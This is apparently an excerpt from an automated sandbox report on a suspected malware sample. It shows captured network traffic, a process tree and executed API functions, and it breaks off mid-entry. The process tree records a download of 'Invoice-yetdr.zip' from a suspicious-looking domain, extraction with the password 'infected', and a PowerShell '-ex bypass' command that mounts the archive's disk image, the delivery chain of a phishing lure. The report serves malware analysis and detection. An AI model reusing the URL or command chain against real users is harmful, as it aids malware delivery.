2024-07-03 17:23:29 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 5a 2b 48 5a 49 4a 32 77 72 55 53 4d 74 49 72 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 31 30 64 37 32 35 63 65 35 32 36 62 35 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 4f 78 6c 45 56 39 6b 34 43 49 32 37 64 56 70 71 38 79 6a 4a 4b 55 39 6c 75 78 6a 48 58 48 6b 70 65 66 2f 44 4b 35 48 59 33 30 34 51 67 4e 4c 4b 6b 44 65 61 61 76 6e 36 49 5a 6c 38 33 32 52 2f 34 41 4c 4e 33 7a 59 71 62 39 55 59 47 79 70 54 4d 69 36 4a 6f 63 50 7a 36 52 47 71 2b 43 39 4c 6d 59 62 52 47 73 57 6e 6c 59 59 56 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: Z+HZIJ2wrUSMtIrl.2Context: 3210d725ce526b55<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATOxlEV9k4CI27dVpq8yjJKU9luxjHXHkpef/DK5HY304QgNLKkDeaavn6IZl832R/4ALN3zYqb9UYGypTMi6JocPz6RGq+C9LmYbRGsWnlYYV
2024-07-03 17:23:29 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 5a 2b 48 5a 49 4a 32 77 72 55 53 4d 74 49 72 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 31 30 64 37 32 35 63 65 35 32 36 62 35 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Z+HZIJ2wrUSMtIrl.3Context: 3210d725ce526b55<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-03 17:23:29 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-03 17:23:29 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 44 50 47 6f 6d 35 4c 47 45 65 37 77 49 45 79 46 46 6d 30 56 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TDPGom5LGEe7wIEyFFm0Vg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	59278	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:23:39 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Ho+WaTooYaEzWTF&MD=PTOS4Cod HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-03 17:23:40 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 23c8b9ac-cc2e-4a2c-95a9-8c7d4984e9b4 MS-RequestId: d00ba202-0a54-47c3-9811-6589683f6a24 MS-CV: IO/awSdB1UahXm7Y.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 03 Jul 2024 17:23:39 GMT Connection: close Content-Length: 30005
2024-07-03 17:23:40 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-03 17:23:40 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	59280	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:23:55 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 79 51 37 45 36 73 31 4c 30 69 63 30 6e 43 69 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 32 62 36 66 34 38 37 39 66 39 32 34 37 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: myQ7E6s1L0ic0nCi.1Context: d22b6f4879f92475
2024-07-03 17:23:55 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-03 17:23:55 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 6d 79 51 37 45 36 73 31 4c 30 69 63 30 6e 43 69 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 32 62 36 66 34 38 37 39 66 39 32 34 37 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 4f 78 6c 45 56 39 6b 34 43 49 32 37 64 56 70 71 38 79 6a 4a 4b 55 39 6c 75 78 6a 48 58 48 6b 70 65 66 2f 44 4b 35 48 59 33 30 34 51 67 4e 4c 4b 6b 44 65 61 61 76 6e 36 49 5a 6c 38 33 32 52 2f 34 41 4c 4e 33 7a 59 71 62 39 55 59 47 79 70 54 4d 69 36 4a 6f 63 50 7a 36 52 47 71 2b 43 39 4c 6d 59 62 52 47 73 57 6e 6c 59 59 56 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: myQ7E6s1L0ic0nCi.2Context: d22b6f4879f92475<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATOxlEV9k4CI27dVpq8yjJKU9luxjHXHkpef/DK5HY304QgNLKkDeaavn6IZl832R/4ALN3zYqb9UYGypTMi6JocPz6RGq+C9LmYbRGsWnlYYV
2024-07-03 17:23:55 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 79 51 37 45 36 73 31 4c 30 69 63 30 6e 43 69 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 32 32 62 36 66 34 38 37 39 66 39 32 34 37 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: myQ7E6s1L0ic0nCi.3Context: d22b6f4879f92475<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-03 17:23:55 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-03 17:23:55 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 76 31 37 76 70 47 38 6f 30 6d 31 57 34 45 51 73 38 4c 74 79 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Wv17vpG8o0m1W4EQs8LtyQ.0Payload parsing failed.

Target ID:	0
Start time:	13:22:41
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:22:45
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1936,i,14102734953510180185,6557037327749919800,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:22:48
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bnaminexg.com/Invoice-yetdr.zip"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:22:52
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Invoice-yetdr.zip"
Imagebase:	0xa20000
File size:	12'800 bytes
MD5 hash:	16FF3CC6CC330A08EED70CBC1D35F5D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:22:53
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\vqyu22il.thm" "C:\Users\user\Downloads\Invoice-yetdr.zip"
Imagebase:	0xcd0000
File size:	289'792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:22:53
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:22:54
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:22:54
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:22:54
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img"
Imagebase:	0xe60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:22:58
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\notepad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\NOTEPAD.EXE" D:\autorun.inf
Imagebase:	0x4b0000
File size:	165'888 bytes
MD5 hash:	E92D3A824A0578A50D2DD81B5060145F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	23.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	79
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0132B1D6 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0132B208

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 12a8471a226e58b279a0f55e16f96e4ab7897ea1692a020f2fc7a59a12a23a34
Instruction ID: de3852635f3c6a995033c4e93d33f1632aaaf37e68a0c15835923e120e5b400d
Opcode Fuzzy Hash: 12a8471a226e58b279a0f55e16f96e4ab7897ea1692a020f2fc7a59a12a23a34
Instruction Fuzzy Hash: 3801D1709043449FDB10EF19D989B69FBE4EF05225F08C4AADD498F756D379A408CBA2

Function 0132B246 Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0132B2F3

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4e406e55628a73496aefd3fcba621a6f64078bc298c8fa12bd824224af32fa8c
Instruction ID: 04471aedeb903e2b428a99489acccb9525e359830095eab6c7f33eefd40d66c3
Opcode Fuzzy Hash: 4e406e55628a73496aefd3fcba621a6f64078bc298c8fa12bd824224af32fa8c
Instruction Fuzzy Hash: A831B271404344AFE7228F25DC45FA6BFFCEF06224F04889AFA85CB162D234A909CB71

Function 0132AD04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0132ADA7

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cf21066e524e363af2cf25fbb1c5ac0b368077060a3dc6dc911e22b17b485744
Instruction ID: ada5bdd376c1233e3be26d161ff4e475088f00ed46de94fed67e2362d212ceeb
Opcode Fuzzy Hash: cf21066e524e363af2cf25fbb1c5ac0b368077060a3dc6dc911e22b17b485744
Instruction Fuzzy Hash: 2431A171404344AFEB228F65DC55FA7BFECEF05224F04889AF985DB152D234A949CB71

Function 0132AB76 Relevance: 1.6, APIs: 1, Instructions: 93
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E24,?,?), ref: 0132AC36

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: f59d1b81428aede1e96cc66f45621fd6b0c06405ca6b456de1df53da28c31474
Instruction ID: e5566e035504e44d4bfd131df7ac7c66bb8e7ef42b4b7f4ac6f99bcf8e2ea4c2
Opcode Fuzzy Hash: f59d1b81428aede1e96cc66f45621fd6b0c06405ca6b456de1df53da28c31474
Instruction Fuzzy Hash: DB316F7140E3C46FD3038B718C65A65BFB4AF47610F1A84CBD8C4DF1A3D2696919CB62

Function 0132A5DC Relevance: 1.6, APIs: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0132A67D

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 15d1c21eb22fc6099a5d4a2f58b45fb7131251df31393f90e6f90b0678277342
Instruction ID: 435f70489ccf5bdf5ac05666e54a8b00aafad82429f76dea4a145a2ac8f6ce44
Opcode Fuzzy Hash: 15d1c21eb22fc6099a5d4a2f58b45fb7131251df31393f90e6f90b0678277342
Instruction Fuzzy Hash: D331ADB1504340AFE722CF25DD45F62BFE8EF45224F0884AEEA858B252D375E809CB71

Function 0132A120 Relevance: 1.6, APIs: 1, Instructions: 85
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,00000E24,?,?), ref: 0132A1C2

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 4ae57f7e2a6e9c99639b53018272787f335d7cd71df44379d6c8419bba0d177d
Instruction ID: 569b162c7ad748975407601f47bd312e79b3bd36b601f24a7f8458bc2174cd27
Opcode Fuzzy Hash: 4ae57f7e2a6e9c99639b53018272787f335d7cd71df44379d6c8419bba0d177d
Instruction Fuzzy Hash: 5031D37140D3C06FD3128B258C55BA2BFB4EF47610F1985CBEC849F693D229A90AC7A2

Function 0132AD2A Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0132ADA7

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b28d08ef98c7cc32b9b9e849f64add681bd437b2cd370c4210fe046776f3bd28
Instruction ID: e23add76b32fe690c99ca9ab7c4160ab343f201195dbce28d50ad7f560b4130b
Opcode Fuzzy Hash: b28d08ef98c7cc32b9b9e849f64add681bd437b2cd370c4210fe046776f3bd28
Instruction Fuzzy Hash: B121C172500204AFEB219F65DD45FABFBECEF04224F04886AFA45DB651D734A4488FA1

Function 0132A370 Relevance: 1.6, APIs: 1, Instructions: 80
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E24,DE332DDA,00000000,00000000,00000000,00000000), ref: 0132A40C

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 386a6a81f70ebce2b504b2cfb6b24d5672a6a3717604a93c87d744b21dab1184
Instruction ID: 31be608060b2b0e618c272980090c3ea38e01d2851e4288082af9d6690616a2f
Opcode Fuzzy Hash: 386a6a81f70ebce2b504b2cfb6b24d5672a6a3717604a93c87d744b21dab1184
Instruction Fuzzy Hash: 98217C71504740AFE721CF15DC84FA2BBE8AF05624F08849AEA459B652D364E908CB61

Function 0132B276 Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0132B2F3

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 85038a96e6fa143bfceed6e16de24ecdd0aafb584d19a9f286f982568d6ac822
Instruction ID: eed8496cffb35eacf864218ce3ec4e3bbdfddb2744e1f88fa82a2142529deb4e
Opcode Fuzzy Hash: 85038a96e6fa143bfceed6e16de24ecdd0aafb584d19a9f286f982568d6ac822
Instruction Fuzzy Hash: 7C21CF72500304AFEB219F65DC45FABFBECEF04224F04886AFA45CB651D774E5488BA1

Function 0132A850 Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E24,DE332DDA,00000000,00000000,00000000,00000000), ref: 0132A8DE

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 08f1d1930736b8effba15373cfc82a80576e87c303e42f4b63ae1253b55564e9
Instruction ID: bfc33804b3d27141e8681f5d10a17e95322a5fab983f8f7156f841a5d874b72c
Opcode Fuzzy Hash: 08f1d1930736b8effba15373cfc82a80576e87c303e42f4b63ae1253b55564e9
Instruction Fuzzy Hash: 4821A171408380AFE7228F25DC45FA6BFB8EF46624F0984DAF9859F553C274A909CB71

Function 0132A933 Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,00000E24,DE332DDA,00000000,00000000,00000000,00000000), ref: 0132A9C1

Memory Dump Source

Source File: 00000005.00000002.2979095958.000000000132A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_132a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 345704100b0763b5f49657a5e5e10721f109d9bd9de5fd95c83c2cba5b776f94
Instruction ID: 4441719f470ecdf2f62baa6f09c784b0bbdf4cd0bcc40b9f8bb8698c0b3d0506
Opcode Fuzzy Hash: 345704100b0763b5f49657a5e5e10721f109d9bd9de5fd95c83c2cba5b776f94
Instruction Fuzzy Hash: F921B071409380AFDB22CF25DD45F96FFB8EF06214F08849AF9859F162C275A509CBB2

Function 0132A5FE Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0132A67D

Memory Dump Source

